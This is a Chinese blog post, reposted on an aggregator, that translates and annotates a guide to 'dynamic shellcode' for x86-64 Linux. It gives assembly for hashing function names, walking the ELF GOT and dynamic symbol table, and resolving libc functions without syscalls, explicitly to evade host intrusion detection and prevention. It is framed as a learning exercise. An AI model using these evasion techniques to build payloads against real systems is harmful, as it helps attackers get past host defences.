IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Shellcode/Dynamic

    Reverland (lhtlyy@gmail.com)发表于 2015-03-17 00:00:00
    love 0

    意译:Shellcode/Dynamic

    动态shellcode是自链接的shellcode,用来规避多种主机层面的防护措施,比如主机入侵检测系统(HIDS)或者主机入侵防护系统(HIPS)。这些措施能阻止传统的null-free shellcode。通过动态shellcode技术,实现比如不包含中断、系统调用或者明文函数字符串等。

    [TOC]

    评价

    大多安全设施组件都基于RAM的数据和标记为可执行的内容进行运行时分析。而且,许多系统甚至从内核检查内核中断和系统调用(linux审计工具audit就做这个)。其它也许监视ld-linux中提供给普通应用使用共享库调用的_ld_runtime_resolve的运行,_dl_fixup()的蹦床(trampoline,确定不是函数式编程????)等。当应用尝试执行不在它们.text段的系统调用或中断、或者尝试使用_ld_runtime_resolve,_dl_fixup,dl_open,dl_close或者dl_sym来导入一个不在它导入表(import talbe)的函数时,会触发许多安全系统的警告。另外,使用比如像dl_open()和dl_sym()这样的函数需要使用明文字符串。任何一般的分析都能很容易迅速逆向有效载荷,这是传统null-free shellcode的另一个问题。

    一个动态shellcode引擎能够解决这些问题。通过避免C调用惯例使用的寄存器,它可以构建允许开发者写出动态自链接代码的链接器(linker)。于是完全不再需要中断或者系统调用,因为链接器能不倚靠操作系统导入函数。另外,函数哈希被用作阻止函数名通过字符串呈现,解决了上面标准null-free shellcode有的问题。

    C调用惯例的影响

    通常的系统调用格式或者libc函数调用:

    function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
    

    返回值通常置于rax中,然而当结构指针被作为参数传递时,在那个参数寄存器中一个指向更改过的结构的指针被返回。

    以上陈述显示:写一个链接器时,以下寄存器在没有系统调用的调用之前,不必为函数调用保存。

    %rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15
    

    大多数寄存器能更改或者被各种libc函数更改,然而rbx在libc中被保留为开发者使用。当写一个动态链接器时,函数参数必须被保留,这样开发者能轻易写出动态集成的代码。最后,链接器取rbx作为库的基址指针,rbp用来哈希函数。这确保了开发者能保持对rax,rdi,rsi,rdx,r10,r8和r9的控制。rcx寄存器被用来作为指向调用函数标签的指针,也许应在函数调用间被保留。

    函数哈希

    这个功能希望rdx是0,rsi中是指向字符串的指针。接着它完成字符串的单向32位哈希并保存在rsi中。

    首先,把被哈希程序(hasher)使用的不是rsi的寄存器保留:

    calc_hash:
    
    preserve_regs:
        push rax
        push rdx
    

    rdx作为调用哈希程序的代码的零寄存器(zreg/zero register)。可以指通过简单的push/pop把rax置零来:

    initialize_regs:
        push rdx
        pop rax
    

    接着,DF位(directional flag)被清空。这很重要,因为接下来的哈希过程使用了lodsd,而有漏洞应用的DF位不确定。

    cld
    

    接着,al中的字节和edx相加,结果存入edx。左移12位(0xc),当lodsd载入的字节是null时,哈希值就计算完毕了。

    calc_hash_loop:
        lodsb
        rol edx, 0xc
        add edx, eax
        test al, al
        jnz calc_hash_loop
    

    接着使用push和pop把哈希置入rsi:

    calc_done:
        push rdx
        pop rsi
    

    最后,恢复保存到寄存器

    restore_regs:
        pop rdx
        pop rax
    

    遍历到GOT的动态节(dynamic section)

    当前执行进程的动态节程序头总是在VMA(Virtual Memory Adress,虚拟内存地址)0x00400130。以下是个没有\x00(null-free)的版本:

    _start:
        push 0x400130ff
        pop rbx
        shr ebx, 0x8
    

    指向动态节的指针被抽取,长度被添加到动态节的长度上。GOT(Global Offset Table,全局偏移表)刚好就在动态节后面。通过以这种方式计算偏移量,可以不必从文件头中读取GOT的位置来遍历GOT。这有无数的好处。(译者:不知道有啥好处。。。)

    fast_got:
        mov rcx, [rbx]
        add rcx, [rbx+0x10]
    

    抽取一个库指针

    这个代码从GOT抽取个指向libc中任意函数的指针。比如在rcx+0x18地方,有指向_dl_runtime_resolve的指针。

    extract_pointer:
        mov rbx, [rcx+0x20]
    

    现在寻找想要导入的二进制文件的基指针,首先寻找\x7fELF。因为RAM倒着保存信息,使用逆向比较来决定何时逆向循环。

    find_base:
        dec rbx
        cmp [rbx], 0x464c457f
        jne find_base
    

    用户定义代码

    现在基指针被计算出来,该载入开发者或用户的代码了。为了让调用函数(invoke_function)从寄存器中可重用,通过getPC来把调用函数的地址存入rcx。

    jmp startup
    
    __initialize_world:
        pop rcx
        jmp _world
    
    startup:
        call __initialize_word
    
    invoke_function:
        ...
    _world:
        ; user-defined code goes here
    

    接口

    这里开发的运行时链接器能让用户自定的代码从_world开始。这个接口让开发者能提供函数哈希到rbp并且执行call [rcx]代替系统调用。这个例子描述了从内核调用exit(0)到使用链接器的API来调用exit(0)的过程。

    以未链接的exit形式开始:

    exit:
        push 0x3c
        pop rax
        xor rdi, rdi
        syscall
    

    哈希exit(上面的相加右移)得到0x696c4780

     ✘  ~/Work/project/blackhat/shellcode  cat hash-generator.s 
    BITS 64
    
    global _start
    _start:
        jmp startup
    
    calc_hash:
    ; accept rsi hold function name.
    ; rdx=0 first
    ; return hash in rsi
    ; use rax, rdx, rsi
        ; preserve rax&rdx;
        push rax    ; use as accum
        push rdx    ; zero register
    
        initialize_regs:
            push rdx
            pop rax ;rax = 0
            cld; clear zf for lodsb
    
            calc_hash_loop:
                lodsb   ; load one byte from rsi to al
                rol edx, 0xc    ;right shift 12bits
                add edx, eax    ;add eax to edx
                test al, al     ; if al='\0'
                jnz calc_hash_loop
    
        calc_done:
            push rdx
            pop rsi ; move hash in rdx to rsi
    
        pop rdx
        pop rax ; restore rdx&rax;
    ret
    
    startup:
        pop rax ; pointer to calc_hash
        pop rax ; argc
        pop rsi ; pointer to argv[]
    
        xor rdx, rdx    ;rdx=0
        call calc_hash
    
        push rsi    ; save hash on stack
        mov rsi, rsp    ; rsi hold pointer to hash now
    
        push rdx    ; null
        mov rcx, rsp    ; rcx hold pointer to null now
    
        mov rdi, 0x4
        loop:
            ; 倒着复制的
            dec rdi
            mov al, [rsi+rdi*1]
            mov [rcx+rdx*1], al
            inc rdx
            cmp rdi, 0  ; gas 竟然不能cmp %rdi, $0....但可以倒过来
            jnz loop
    
        mov rsi, rcx    ;rsi hold pointer to reverse hash
        inc rdi ; rdi = 1
        mov rax, rdi    ; rax = 1
        syscall         ; write(1, reverse hash)
    
        mov rax, 0x3c   ; rax=60
        dec rdi         ; rdi=0
        syscall         ; exit(0)
     ~/Work/project/blackhat/shellcode  nasm -felf64 hash-generator.s -o hash-generator.o
     ~/Work/project/blackhat/shellcode  ld hash-generator.o -o hash-generator
     ~/Work/project/blackhat/shellcode  ./hash-generator exit|hexdump -C
    00000000  69 6c 47 80                                       |ilG.|
    00000004
    

    所以,_world这么写

    _world:
        push 0x696c4780
        pop rbp ; 正好倒过来,看看hash-generator.s的代码
        xor rdi, rdi
        call [rcx]
    

    开发者应该记着当调用那些可能改变寄存器的调用函数时保存rcx。或者通过更改__initialize_world中pop到的寄存器来移除限制。

    调用的函数

    这个注释是为了防止开发者忘记接口功能:

    ;
    ;  Takes a function hash in %rbp and base pointer in %rbx
    ;  >Parses the dynamic program headers of the ELF64 image
    ;  >Uses ROP to invoke the function on the way back to the
    ;  -normal return location
    ;
    ;  Returns results of function to invoke.
    ;
    

    所有和libc交互的寄存器和任何可能被链接器使用的寄存器必须被保留,这样它们才能在函数调用时被恢复,rbp寄存器被保留两次。这时因为第一次保留在返回前被指向目的函数的指针覆盖。这让shellcode从目的函数返回到开发者定义的函数。

    invoke_function:
        push rbp
        push rbp
        push rdx
        push rdi
        push rax
        push rbx
        push rsi
    

    将rdx赋为0,吧函数哈希放入rdi来进行将来的比较

    set_regs:
        xor rdx, rdx
        push rbp
        pop rdi
    

    然后目的库导入的基址指针就放入rbp

    copy_base:
        push rbx
        pop rbp
    

    需要读取[rbx+0x130]四字节,但是添加到八字节的寄存器。

    read_dynamic_section:
        push 0x4c
        pop rax
        add rbx, [rbx + rax * 4]
    

    找到函数导出表,一般叫做.dynsym,或者动态符号表。通过遍历头检查动态节的类型。

    check_dynamic_type:
        add rbx, 0x10
        cmpb [rbx], 0x5
        jne check_dynamic_type
    

    一旦ebx指向程序头中正确的位置;放置字符串表的绝对地址到rax和动态符号表的绝对地址到rbx。

    string_table_found:
        mov rax, [rbx+0x8]  ; rax是动态字符串表的地址
        mov rbx, [rbx+0x18] ; rbx是指向符号表的地址
    

    接着,增加到下一个导出,指向字符串的指针被放入rsi来哈希

    check_next_hash:
        add rbx, 0x18   ;下一个条目
        push rdx
        pop rsi
        xor si, [rbx]
        add rsi, rax
    

    calc_hash标签被如上描述方式调用来哈希函数名。

    calc_hash:
        ...
    

    比较当前导出表的函数哈希和想要导出的函数哈希,如果不匹配则跳到下一次导入:

    check_current_hash:
        cmp edi, esi
        jne check_next_hash
    

    一旦哈希被找到,它的函数偏移位于[rbx+0x8]四字节。rdx被用来作为零寄存器来得到没有\x00的四字节。FIXME(not so) 添加到rbp基址指针:

    found_hash:
        add rbp, [rbx+4*rdx+0x8]
    

    这里,第一个例子中被保留的rbp被目的函数的地址覆盖。

    mov [esp+0x30], rbp
    

    最后恢复所有寄存器。

        pop rsi
        pop rbx
        pop rax
        pop rdi
        pop rdx
        pop rbp
    ret
    

    跳到目的函数代码。

    动态shell

    一旦添加链接器,一个115字节的socket重用载荷就变成了268字节的动态载入版本。这里有几种优化的方式,作为读者的练习。。。我得回头看看。。。

    算了,我先看看Load-time relocation of shared libraries

    令上午承蒙翔哥内推,刚填了简历,下午竟然就给我打电话电面了。。。然后就是强行谈及二进制安全被血虐最后被鄙视的过程,哈哈哈。

    慢慢看,不把安全作为工作也许是种幸福呢。

    毕业前:

    • 游戏
    • 画

    兴趣:

    • 统计学习
    • 二进制安全

    工作: - ?



沪ICP备19023445号-2号
友情链接